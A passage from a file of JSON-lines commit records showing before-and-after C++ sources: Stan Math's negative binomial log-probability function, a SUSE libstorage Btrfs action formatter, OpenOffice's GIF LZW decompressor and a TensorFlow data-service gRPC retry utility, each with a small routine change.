beta);\n\n  scalar_seq_view<T_n> n_vec(n);\n  scalar_seq_view<T_shape> alpha_vec(alpha);\n  scalar_seq_view<T_inv_scale> beta_vec(beta);\n  size_t size_alpha = stan::math::size(alpha);\n  size_t size_beta = stan::math::size(beta);\n  size_t size_alpha_beta = max_size(alpha, beta);\n  size_t max_size_seq_view = max_size(n, alpha, beta);\n\n  scalar_seq_view<decltype(value_of(alpha))> alpha_dbl(value_of(alpha));\n  scalar_seq_view<decltype(value_of(beta))> beta_dbl(value_of(beta));\n\n  VectorBuilder<!is_constant_all<T_shape>::value, T_partials_return, T_shape>\n      digamma_alpha(size_alpha);\n  if (!is_constant_all<T_shape>::value) {\n    for (size_t i = 0; i < size_alpha; ++i) {\n      digamma_alpha[i] = digamma(alpha_dbl[i]);\n    }\n  }\n\n  VectorBuilder<true, T_partials_return, T_inv_scale> log1p_inv_beta(size_beta);\n  VectorBuilder<true, T_partials_return, T_inv_scale> log1p_beta(size_beta);\n  for (size_t i = 0; i < size_beta; ++i) {\n    log1p_inv_beta[i] = log1p(inv(beta_dbl[i]));\n    log1p_beta[i] = log1p(beta_dbl[i]);\n  }\n\n  VectorBuilder<!is_constant_all<T_inv_scale>::value, T_partials_return,\n                T_shape, T_inv_scale>\n      lambda_m_alpha_over_1p_beta(size_alpha_beta);\n  if (!is_constant_all<T_inv_scale>::value) {\n    for (size_t i = 0; i < size_alpha_beta; ++i) {\n      lambda_m_alpha_over_1p_beta[i]\n          = alpha_dbl[i] \/ beta_dbl[i] - alpha_dbl[i] \/ (1 + beta_dbl[i]);\n    }\n  }\n\n  for (size_t i = 0; i < max_size_seq_view; i++) {\n    if (include_summand<propto, T_shape>::value) {\n      if (n_vec[i] != 0) {\n        logp += binomial_coefficient_log(n_vec[i] + alpha_dbl[i] - 1.0,\n                                         alpha_dbl[i] - 1.0);\n      }\n    }\n    logp -= alpha_dbl[i] * log1p_inv_beta[i] + n_vec[i] * log1p_beta[i];\n\n    if (!is_constant_all<T_shape>::value) {\n      ops_partials.edge1_.partials_[i] += digamma(alpha_dbl[i] + n_vec[i])\n                                          - digamma_alpha[i]\n                                          - log1p_inv_beta[i];\n    }\n    if (!is_constant_all<T_inv_scale>::value) {\n      ops_partials.edge2_.partials_[i]\n          += lambda_m_alpha_over_1p_beta[i] - n_vec[i] \/ (beta_dbl[i] + 1.0);\n    }\n  }\n\n  return ops_partials.build(logp);\n}\n\ntemplate <typename T_n, typename T_shape, typename T_inv_scale>\ninline return_type_t<T_shape, T_inv_scale> neg_binomial_lpmf(\n    const T_n& n, const T_shape& alpha, const T_inv_scale& beta) {\n  return neg_binomial_lpmf<false>(n, alpha, beta);\n}\n\n}  \/\/ namespace math\n}  \/\/ namespace stan\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (c) 2017 SUSE LLC\n *\n * All Rights Reserved.\n *\n * This program is free software; you can redistribute it and\/or modify it\n * under the terms of version 2 of the GNU General Public License as published\n * by the Free Software Foundation.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT\n * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n * FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License for\n * more details.\n *\n * You should have received a copy of the GNU General Public License along\n * with this program; if not, contact SUSE LLC.\n *\n * To contact SUSE LLC about this file by physical or electronic mail, you may\n * find current contact information at www.suse.com.\n *\/\n\n\n#include <boost\/algorithm\/string\/join.hpp>\n\n#include \"storage\/CompoundAction\/Formatter\/Btrfs.h\"\n#include \"storage\/Filesystems\/MountPoint.h\"\n\n\nnamespace storage\n{\n\n    CompoundAction::Formatter::Btrfs::Btrfs(const CompoundAction::Impl* compound_action) :\n\tCompoundAction::Formatter(compound_action),\n\tbtrfs(to_btrfs(compound_action->get_target_device()))\n    {}\n\n\n    string\n    CompoundAction::Formatter::Btrfs::blk_devices_string_representation() const\n    {\n\tvector<string> names;\n\tfor (auto device : btrfs->get_blk_devices())\n\t    names.push_back(device->get_displayname());\n\n\treturn boost::algorithm::join(names, \", \");\n    }\n\n\n    Text\n    CompoundAction::Formatter::Btrfs::text() const\n    {\n\tif (has_delete<storage::Btrfs>())\n\t    return delete_text();\n\n\telse if (has_create<storage::Btrfs>())\n\t{\n\t    if (has_create<storage::MountPoint>())\n\t\treturn create_and_mount_text();\n\n\t    else\n\t\treturn create_text();\n\t}\n\n\telse if (has_create<storage::MountPoint>())\n\t    return mount_text();\n\n\telse if (has_delete<storage::MountPoint>())\n\t    return unmount_text();\n\n\telse\n\t    return default_text();\n    }\n\n\n    Text\n    CompoundAction::Formatter::Btrfs::delete_text() const\n    {\n\t\/\/ TRANSLATORS:\n\t\/\/ %1$s is replaced with the names of the devices separated by comma (e.g. \/dev\/sda1, \/dev\/sda2)\n        Text text = _(\"Delete file system btrfs on %1$s\");\n\n        return sformat(text, blk_devices_string_representation().c_str());\n    }\n\n\n    Text\n    CompoundAction::Formatter::Btrfs::create_and_mount_text() const\n    {\n\t\/\/ TRANSLATORS:\n\t\/\/ %1$s is replaced with the names of the devices separated by comma (e.g. \/dev\/sda1, \/dev\/sda2),\n\t\/\/ %2$s is replaced with the mount point (e.g. \/home)\n        Text text = _(\"Create file system btrfs on %1$s and mount at %2$s\");\n\n        return sformat(text,\n\t\t       blk_devices_string_representation().c_str(),\n\t\t       btrfs->get_mount_point()->get_path().c_str());\n    }\n\n\n    Text\n    CompoundAction::Formatter::Btrfs::create_text() const\n    {\n\t\/\/ TRANSLATORS:\n\t\/\/ %1$s is replaced with the names of the devices separated by comma (e.g. \/dev\/sda1, \/dev\/sda2)\n        Text text = _(\"Create file system btrfs on %1$s\");\n\n        return sformat(text, blk_devices_string_representation().c_str());\n    }\n\n\n    Text\n    CompoundAction::Formatter::Btrfs::mount_text() const\n    {\n\t\/\/ TRANSLATORS:\n\t\/\/ %1$s is replaced with the names of the devices separated by comma (e.g. \/dev\/sda1, \/dev\/sda2),\n\t\/\/ %2$s is replaced with the mount point (e.g. \/home)\n        Text text = _(\"Mount file system btrfs on %1$s at %2$s\");\n\n        return sformat(text,\n\t\t       blk_devices_string_representation().c_str(),\n\t\t       btrfs->get_mount_point()->get_path().c_str());\n    }\n\n\n    Text\n    CompoundAction::Formatter::Btrfs::unmount_text() const\n    {\n\t\/\/ TRANSLATORS:\n\t\/\/ %1$s is replaced with the names of the devices separated by comma (e.g. \/dev\/sda1, \/dev\/sda2),\n\t\/\/ %2$s is replaced with the mount point (e.g. \/home)\n        Text text = _(\"Unmount file system btrfs on %1$s at %2$s\");\n\n        return sformat(text,\n\t\t       blk_devices_string_representation().c_str(),\n\t\t       btrfs->get_mount_point()->get_path().c_str());\n    }\n\n}\n<commit_msg>Use inherited methods<commit_after>\/*\n * Copyright (c) 2017 SUSE LLC\n *\n * All Rights Reserved.\n *\n * This program is free software; you can redistribute it and\/or modify it\n * under the terms of version 2 of the GNU General Public License as published\n * by the Free Software Foundation.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT\n * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n * FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License for\n * more details.\n *\n * You should have received a copy of the GNU General Public License along\n * with this program; if not, contact SUSE LLC.\n *\n * To contact SUSE LLC about this file by physical or electronic mail, you may\n * find current contact information at www.suse.com.\n *\/\n\n\n#include <boost\/algorithm\/string\/join.hpp>\n\n#include \"storage\/CompoundAction\/Formatter\/Btrfs.h\"\n#include \"storage\/Filesystems\/MountPoint.h\"\n\n\nnamespace storage\n{\n\n    CompoundAction::Formatter::Btrfs::Btrfs(const CompoundAction::Impl* compound_action) :\n\tCompoundAction::Formatter(compound_action, \"Btrfs\"),\n\tbtrfs(to_btrfs(compound_action->get_target_device()))\n    {}\n\n\n    string\n    CompoundAction::Formatter::Btrfs::blk_devices_string_representation() const\n    {\n\tvector<string> names;\n\tfor (auto device : btrfs->get_blk_devices())\n\t    names.push_back(device->get_displayname());\n\n\treturn boost::algorithm::join(names, \", \");\n    }\n\n\n    Text\n    CompoundAction::Formatter::Btrfs::text() const\n    {\n\tif ( deleting() )\n\t    return delete_text();\n\n\telse if ( creating() )\n\t{\n\t    if ( mounting() )\n\t\treturn create_and_mount_text();\n\n\t    else\n\t\treturn create_text();\n\t}\n\n\telse if ( mounting() )\n\t    return mount_text();\n\n\telse if ( has_delete<storage::MountPoint>() )\n\t    return unmount_text();\n\n\telse\n\t    return default_text();\n    }\n\n\n    Text\n    CompoundAction::Formatter::Btrfs::delete_text() const\n    {\n\t\/\/ TRANSLATORS:\n\t\/\/ %1$s is replaced with the names of the devices separated by comma (e.g. \/dev\/sda1, \/dev\/sda2)\n        Text text = _(\"Delete file system btrfs on %1$s\");\n\n        return sformat(text, blk_devices_string_representation().c_str());\n    }\n\n\n    Text\n    CompoundAction::Formatter::Btrfs::create_and_mount_text() const\n    {\n\t\/\/ TRANSLATORS:\n\t\/\/ %1$s is replaced with the names of the devices separated by comma (e.g. \/dev\/sda1, \/dev\/sda2),\n\t\/\/ %2$s is replaced with the mount point (e.g. \/home)\n        Text text = _(\"Create file system btrfs on %1$s and mount at %2$s\");\n\n        return sformat(text,\n\t\t       blk_devices_string_representation().c_str(),\n\t\t       btrfs->get_mount_point()->get_path().c_str());\n    }\n\n\n    Text\n    CompoundAction::Formatter::Btrfs::create_text() const\n    {\n\t\/\/ TRANSLATORS:\n\t\/\/ %1$s is replaced with the names of the devices separated by comma (e.g. \/dev\/sda1, \/dev\/sda2)\n        Text text = _(\"Create file system btrfs on %1$s\");\n\n        return sformat(text, blk_devices_string_representation().c_str());\n    }\n\n\n    Text\n    CompoundAction::Formatter::Btrfs::mount_text() const\n    {\n\t\/\/ TRANSLATORS:\n\t\/\/ %1$s is replaced with the names of the devices separated by comma (e.g. \/dev\/sda1, \/dev\/sda2),\n\t\/\/ %2$s is replaced with the mount point (e.g. \/home)\n        Text text = _(\"Mount file system btrfs on %1$s at %2$s\");\n\n        return sformat(text,\n\t\t       blk_devices_string_representation().c_str(),\n\t\t       btrfs->get_mount_point()->get_path().c_str());\n    }\n\n\n    Text\n    CompoundAction::Formatter::Btrfs::unmount_text() const\n    {\n\t\/\/ TRANSLATORS:\n\t\/\/ %1$s is replaced with the names of the devices separated by comma (e.g. \/dev\/sda1, \/dev\/sda2),\n\t\/\/ %2$s is replaced with the mount point (e.g. \/home)\n        Text text = _(\"Unmount file system btrfs on %1$s at %2$s\");\n\n        return sformat(text,\n\t\t       blk_devices_string_representation().c_str(),\n\t\t       btrfs->get_mount_point()->get_path().c_str());\n    }\n\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: decode.cxx,v $\n *\n *  $Revision: 1.5 $\n *\n *  last change: $Author: hr $ $Date: 2006-06-19 21:06:22 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n#include \"decode.hxx\"\n\n\/\/ ------------------------------------------------------------------------\n\nstruct GIFLZWTableEntry\n{\n    GIFLZWTableEntry*   pPrev;\n    GIFLZWTableEntry*   pFirst;\n    BYTE                nData;\n};\n\n\/\/ ------------------------------------------------------------------------\n\nGIFLZWDecompressor::GIFLZWDecompressor( BYTE cDataSize ) :\n            nInputBitsBuf       ( 0 ),\n            nOutBufDataLen      ( 0 ),\n            nInputBitsBufSize   ( 0 ),\n            bEOIFound           ( FALSE ),\n            nDataSize           ( cDataSize )\n{\n    pTable = new GIFLZWTableEntry[ 4096 ];\n    pOutBuf = new BYTE[ 4096 ];\n\n    nClearCode = 1 << nDataSize;\n    nEOICode = nClearCode + 1;\n    nTableSize = nEOICode + 1;\n    nCodeSize = nDataSize + 1;\n    nOldCode = 0xffff;\n    pOutBufData = pOutBuf + 4096;\n\n    for( USHORT i = 0; i < nTableSize; i++ )\n    {\n        pTable[i].pPrev = NULL;\n        pTable[i].pFirst = pTable + i;\n        pTable[i].nData = (BYTE) i;\n    }\n}\n\n\/\/ ------------------------------------------------------------------------\n\nGIFLZWDecompressor::~GIFLZWDecompressor()\n{\n    delete[] pOutBuf;\n    delete[] pTable;\n}\n\n\/\/ ------------------------------------------------------------------------\n\nHPBYTE GIFLZWDecompressor::DecompressBlock( HPBYTE pSrc, BYTE cBufSize,\n                                            ULONG& rCount, BOOL& rEOI )\n{\n    ULONG   nTargetSize = 4096;\n    ULONG   nCount = 0;\n    HPBYTE  pTarget = (HPBYTE) rtl_allocateMemory( nTargetSize );\n    HPBYTE  pTmpTarget = pTarget;\n\n    nBlockBufSize = cBufSize;\n    nBlockBufPos = 0;\n    pBlockBuf = pSrc;\n\n    while( ProcessOneCode() )\n    {\n        nCount += nOutBufDataLen;\n\n        if( nCount > nTargetSize )\n        {\n            ULONG   nNewSize = nTargetSize << 1;\n            ULONG   nOffset = pTmpTarget - pTarget;\n            HPBYTE  pTmp = (HPBYTE) rtl_allocateMemory( nNewSize );\n\n            memcpy( pTmp, pTarget, nTargetSize );\n            rtl_freeMemory( pTarget );\n\n            nTargetSize = nNewSize;\n            pTmpTarget = ( pTarget = pTmp ) + nOffset;\n        }\n\n        memcpy( pTmpTarget, pOutBufData, nOutBufDataLen );\n        pTmpTarget += nOutBufDataLen;\n        pOutBufData += nOutBufDataLen;\n        nOutBufDataLen = 0;\n\n        if ( bEOIFound )\n            break;\n    }\n\n    rCount = nCount;\n    rEOI = bEOIFound;\n\n    return pTarget;\n}\n\n\/\/ ------------------------------------------------------------------------\n\nvoid GIFLZWDecompressor::AddToTable( USHORT nPrevCode, USHORT nCodeFirstData )\n{\n    GIFLZWTableEntry* pE;\n\n    if( nTableSize < 4096 )\n    {\n        pE = pTable + nTableSize;\n        pE->pPrev = pTable + nPrevCode;\n        pE->pFirst = pE->pPrev->pFirst;\n        pE->nData = pTable[ nCodeFirstData ].pFirst->nData;\n        nTableSize++;\n\n        if ( ( nTableSize == (USHORT) (1 << nCodeSize) ) && ( nTableSize < 4096 ) )\n            nCodeSize++;\n    }\n}\n\n\/\/ ------------------------------------------------------------------------\n\nBOOL GIFLZWDecompressor::ProcessOneCode()\n{\n    GIFLZWTableEntry*   pE;\n    USHORT              nCode;\n    BOOL                bRet = FALSE;\n    BOOL                bEndOfBlock = FALSE;\n\n    while( nInputBitsBufSize < nCodeSize )\n    {\n        if( nBlockBufPos >= nBlockBufSize )\n        {\n            bEndOfBlock = TRUE;\n            break;\n        }\n\n        nInputBitsBuf |= ( (ULONG) pBlockBuf[ nBlockBufPos++ ] ) << nInputBitsBufSize;\n        nInputBitsBufSize += 8;\n    }\n\n    if ( !bEndOfBlock )\n    {\n        \/\/ Einen Code aus dem Eingabe-Buffer holen:\n        nCode = ( (USHORT) nInputBitsBuf ) & ( ~( 0xffff << nCodeSize ) );\n        nInputBitsBuf >>= nCodeSize;\n        nInputBitsBufSize -= nCodeSize;\n\n        if ( nCode < nClearCode )\n        {\n            if ( nOldCode != 0xffff )\n                AddToTable( nOldCode, nCode );\n        }\n        else if ( ( nCode > nEOICode ) && ( nCode <= nTableSize ) )\n        {\n            if ( nCode == nTableSize )\n                AddToTable( nOldCode, nOldCode );\n            else\n                AddToTable( nOldCode, nCode );\n        }\n        else\n        {\n            if ( nCode == nClearCode )\n            {\n                nTableSize = nEOICode + 1;\n                nCodeSize = nDataSize + 1;\n                nOldCode = 0xffff;\n                nOutBufDataLen = 0;\n            }\n            else\n                bEOIFound = TRUE;\n\n            return TRUE;\n        }\n\n        nOldCode = nCode;\n\n        \/\/ Zeichen(\/-folge) des Codes nCode in den Ausgabe-Buffer schreiben:\n        pE = pTable + nCode;\n        do\n        {\n            nOutBufDataLen++;\n            *(--pOutBufData) = pE->nData;\n            pE = pE->pPrev;\n        }\n        while( pE );\n\n        bRet = TRUE;\n    }\n\n    return bRet;\n}\n<commit_msg>INTEGRATION: CWS pchfix02 (1.5.90); FILE MERGED 2006\/09\/01 17:43:07 kaib 1.5.90.1: #i68856# Added header markers and pch files<commit_after>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: decode.cxx,v $\n *\n *  $Revision: 1.6 $\n *\n *  last change: $Author: obo $ $Date: 2006-09-17 14:53:48 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_svtools.hxx\"\n\n#include \"decode.hxx\"\n\n\/\/ ------------------------------------------------------------------------\n\nstruct GIFLZWTableEntry\n{\n    GIFLZWTableEntry*   pPrev;\n    GIFLZWTableEntry*   pFirst;\n    BYTE                nData;\n};\n\n\/\/ ------------------------------------------------------------------------\n\nGIFLZWDecompressor::GIFLZWDecompressor( BYTE cDataSize ) :\n            nInputBitsBuf       ( 0 ),\n            nOutBufDataLen      ( 0 ),\n            nInputBitsBufSize   ( 0 ),\n            bEOIFound           ( FALSE ),\n            nDataSize           ( cDataSize )\n{\n    pTable = new GIFLZWTableEntry[ 4096 ];\n    pOutBuf = new BYTE[ 4096 ];\n\n    nClearCode = 1 << nDataSize;\n    nEOICode = nClearCode + 1;\n    nTableSize = nEOICode + 1;\n    nCodeSize = nDataSize + 1;\n    nOldCode = 0xffff;\n    pOutBufData = pOutBuf + 4096;\n\n    for( USHORT i = 0; i < nTableSize; i++ )\n    {\n        pTable[i].pPrev = NULL;\n        pTable[i].pFirst = pTable + i;\n        pTable[i].nData = (BYTE) i;\n    }\n}\n\n\/\/ ------------------------------------------------------------------------\n\nGIFLZWDecompressor::~GIFLZWDecompressor()\n{\n    delete[] pOutBuf;\n    delete[] pTable;\n}\n\n\/\/ ------------------------------------------------------------------------\n\nHPBYTE GIFLZWDecompressor::DecompressBlock( HPBYTE pSrc, BYTE cBufSize,\n                                            ULONG& rCount, BOOL& rEOI )\n{\n    ULONG   nTargetSize = 4096;\n    ULONG   nCount = 0;\n    HPBYTE  pTarget = (HPBYTE) rtl_allocateMemory( nTargetSize );\n    HPBYTE  pTmpTarget = pTarget;\n\n    nBlockBufSize = cBufSize;\n    nBlockBufPos = 0;\n    pBlockBuf = pSrc;\n\n    while( ProcessOneCode() )\n    {\n        nCount += nOutBufDataLen;\n\n        if( nCount > nTargetSize )\n        {\n            ULONG   nNewSize = nTargetSize << 1;\n            ULONG   nOffset = pTmpTarget - pTarget;\n            HPBYTE  pTmp = (HPBYTE) rtl_allocateMemory( nNewSize );\n\n            memcpy( pTmp, pTarget, nTargetSize );\n            rtl_freeMemory( pTarget );\n\n            nTargetSize = nNewSize;\n            pTmpTarget = ( pTarget = pTmp ) + nOffset;\n        }\n\n        memcpy( pTmpTarget, pOutBufData, nOutBufDataLen );\n        pTmpTarget += nOutBufDataLen;\n        pOutBufData += nOutBufDataLen;\n        nOutBufDataLen = 0;\n\n        if ( bEOIFound )\n            break;\n    }\n\n    rCount = nCount;\n    rEOI = bEOIFound;\n\n    return pTarget;\n}\n\n\/\/ ------------------------------------------------------------------------\n\nvoid GIFLZWDecompressor::AddToTable( USHORT nPrevCode, USHORT nCodeFirstData )\n{\n    GIFLZWTableEntry* pE;\n\n    if( nTableSize < 4096 )\n    {\n        pE = pTable + nTableSize;\n        pE->pPrev = pTable + nPrevCode;\n        pE->pFirst = pE->pPrev->pFirst;\n        pE->nData = pTable[ nCodeFirstData ].pFirst->nData;\n        nTableSize++;\n\n        if ( ( nTableSize == (USHORT) (1 << nCodeSize) ) && ( nTableSize < 4096 ) )\n            nCodeSize++;\n    }\n}\n\n\/\/ ------------------------------------------------------------------------\n\nBOOL GIFLZWDecompressor::ProcessOneCode()\n{\n    GIFLZWTableEntry*   pE;\n    USHORT              nCode;\n    BOOL                bRet = FALSE;\n    BOOL                bEndOfBlock = FALSE;\n\n    while( nInputBitsBufSize < nCodeSize )\n    {\n        if( nBlockBufPos >= nBlockBufSize )\n        {\n            bEndOfBlock = TRUE;\n            break;\n        }\n\n        nInputBitsBuf |= ( (ULONG) pBlockBuf[ nBlockBufPos++ ] ) << nInputBitsBufSize;\n        nInputBitsBufSize += 8;\n    }\n\n    if ( !bEndOfBlock )\n    {\n        \/\/ Einen Code aus dem Eingabe-Buffer holen:\n        nCode = ( (USHORT) nInputBitsBuf ) & ( ~( 0xffff << nCodeSize ) );\n        nInputBitsBuf >>= nCodeSize;\n        nInputBitsBufSize -= nCodeSize;\n\n        if ( nCode < nClearCode )\n        {\n            if ( nOldCode != 0xffff )\n                AddToTable( nOldCode, nCode );\n        }\n        else if ( ( nCode > nEOICode ) && ( nCode <= nTableSize ) )\n        {\n            if ( nCode == nTableSize )\n                AddToTable( nOldCode, nOldCode );\n            else\n                AddToTable( nOldCode, nCode );\n        }\n        else\n        {\n            if ( nCode == nClearCode )\n            {\n                nTableSize = nEOICode + 1;\n                nCodeSize = nDataSize + 1;\n                nOldCode = 0xffff;\n                nOutBufDataLen = 0;\n            }\n            else\n                bEOIFound = TRUE;\n\n            return TRUE;\n        }\n\n        nOldCode = nCode;\n\n        \/\/ Zeichen(\/-folge) des Codes nCode in den Ausgabe-Buffer schreiben:\n        pE = pTable + nCode;\n        do\n        {\n            nOutBufDataLen++;\n            *(--pOutBufData) = pE->nData;\n            pE = pE->pPrev;\n        }\n        while( pE );\n\n        bRet = TRUE;\n    }\n\n    return bRet;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/* Copyright 2020 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#include \"tensorflow\/core\/data\/service\/grpc_util.h\"\n\n#include <algorithm>\n#include <functional>\n#include <string>\n\n#include \"tensorflow\/core\/data\/service\/common.h\"\n#include \"tensorflow\/core\/distributed_runtime\/rpc\/grpc_util.h\"\n#include \"tensorflow\/core\/lib\/core\/errors.h\"\n#include \"tensorflow\/core\/platform\/env.h\"\n#include \"tensorflow\/core\/platform\/env_time.h\"\n#include \"tensorflow\/core\/platform\/errors.h\"\n#include \"tensorflow\/core\/platform\/status.h\"\n\nnamespace tensorflow {\nnamespace data {\nnamespace grpc_util {\n\nStatus WrapError(const std::string& message, const ::grpc::Status& status) {\n  if (status.ok()) {\n    return errors::Internal(\"Expected a non-ok grpc status. Wrapping message: \",\n                            message);\n  } else {\n    Status s = FromGrpcStatus(status);\n    return Status(s.code(),\n                  absl::StrCat(message, \": \", status.error_message()));\n  }\n}\n\nStatus Retry(const std::function<Status()>& f, const std::string& description,\n             int64_t deadline_micros) {\n  return Retry(\n      f, [] { return true; }, description, deadline_micros);\n}\n\nStatus Retry(const std::function<Status()>& f,\n             const std::function<bool()>& should_retry,\n             const std::string& description, int64_t deadline_micros) {\n  Status s = f();\n  for (int num_retries = 0;; ++num_retries) {\n    if (!IsPreemptedError(s)) {\n      return s;\n    }\n    int64_t now_micros = EnvTime::NowMicros();\n    if (now_micros > deadline_micros || !should_retry()) {\n      return s;\n    }\n    int64_t deadline_with_backoff_micros =\n        now_micros + ::tensorflow::ComputeBackoffMicroseconds(num_retries);\n    \/\/ Wait for a short period of time before retrying. If our backoff would put\n    \/\/ us past the deadline, we truncate it to ensure our attempt starts before\n    \/\/ the deadline.\n    int64_t backoff_until =\n        std::min(deadline_with_backoff_micros, deadline_micros);\n    int64_t wait_time_micros = backoff_until - now_micros;\n    if (wait_time_micros > 100 * 1000) {\n      LOG(INFO) << \"Failed to \" << description << \": \" << s\n                << \". Will retry in \" << wait_time_micros \/ 1000 << \"ms.\";\n    }\n    Env::Default()->SleepForMicroseconds(wait_time_micros);\n    s = f();\n  }\n  return s;\n}\n\n}  \/\/ namespace grpc_util\n}  \/\/ namespace data\n}  \/\/ namespace tensorflow\n<commit_msg>#tf-data-service Convert all \"Stream Removed\" errors to Unavailable status.<commit_after>\/* Copyright 2020 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#include \"tensorflow\/core\/data\/service\/grpc_util.h\"\n\n#include <algorithm>\n#include <functional>\n#include <string>\n\n#include \"tensorflow\/core\/data\/service\/common.h\"\n#include \"tensorflow\/core\/distributed_runtime\/rpc\/grpc_util.h\"\n#include \"tensorflow\/core\/lib\/core\/errors.h\"\n#include \"tensorflow\/core\/platform\/env.h\"\n#include \"tensorflow\/core\/platform\/env_time.h\"\n#include \"tensorflow\/core\/platform\/errors.h\"\n#include \"tensorflow\/core\/platform\/status.h\"\n\nnamespace tensorflow {\nnamespace data {\nnamespace grpc_util {\n\nconstexpr char kStreamRemovedMessage[] = \"Stream removed\";\n\nStatus WrapError(const std::string& message, const ::grpc::Status& status) {\n  if (status.ok()) {\n    return errors::Internal(\"Expected a non-ok grpc status. Wrapping message: \",\n                            message);\n  } else {\n    \/\/ FromGrpcStatus checks for \"Stream removed\" as well, but only when the\n    \/\/ status code is \"Unknown\". We have observed that sometimes stream removed\n    \/\/ errors use other status codes (b\/258285154).\n    \/\/ TODO(aaudibert): Upstream this to FromGrpcStatus.\n    if (status.error_message() == kStreamRemovedMessage) {\n      return Status(tensorflow::error::UNAVAILABLE, kStreamRemovedMessage);\n    }\n    Status s = FromGrpcStatus(status);\n    return Status(s.code(),\n                  absl::StrCat(message, \": \", status.error_message()));\n  }\n}\n\nStatus Retry(const std::function<Status()>& f, const std::string& description,\n             int64_t deadline_micros) {\n  return Retry(\n      f, [] { return true; }, description, deadline_micros);\n}\n\nStatus Retry(const std::function<Status()>& f,\n             const std::function<bool()>& should_retry,\n             const std::string& description, int64_t deadline_micros) {\n  Status s = f();\n  for (int num_retries = 0;; ++num_retries) {\n    if (!IsPreemptedError(s)) {\n      return s;\n    }\n    int64_t now_micros = EnvTime::NowMicros();\n    if (now_micros > deadline_micros || !should_retry()) {\n      return s;\n    }\n    int64_t deadline_with_backoff_micros =\n        now_micros + ::tensorflow::ComputeBackoffMicroseconds(num_retries);\n    \/\/ Wait for a short period of time before retrying. If our backoff would put\n    \/\/ us past the deadline, we truncate it to ensure our attempt starts before\n    \/\/ the deadline.\n    int64_t backoff_until =\n        std::min(deadline_with_backoff_micros, deadline_micros);\n    int64_t wait_time_micros = backoff_until - now_micros;\n    if (wait_time_micros > 100 * 1000) {\n      LOG(INFO) << \"Failed to \" << description << \": \" << s\n                << \". Will retry in \" << wait_time_micros \/ 1000 << \"ms.\";\n    }\n    Env::Default()->SleepForMicroseconds(wait_time_micros);\n    s = f();\n  }\n  return s;\n}\n\n}  \/\/ namespace grpc_util\n}  \/\/ namespace data\n}  \/\/ namespace tensorflow\n<|endoftext|>"}
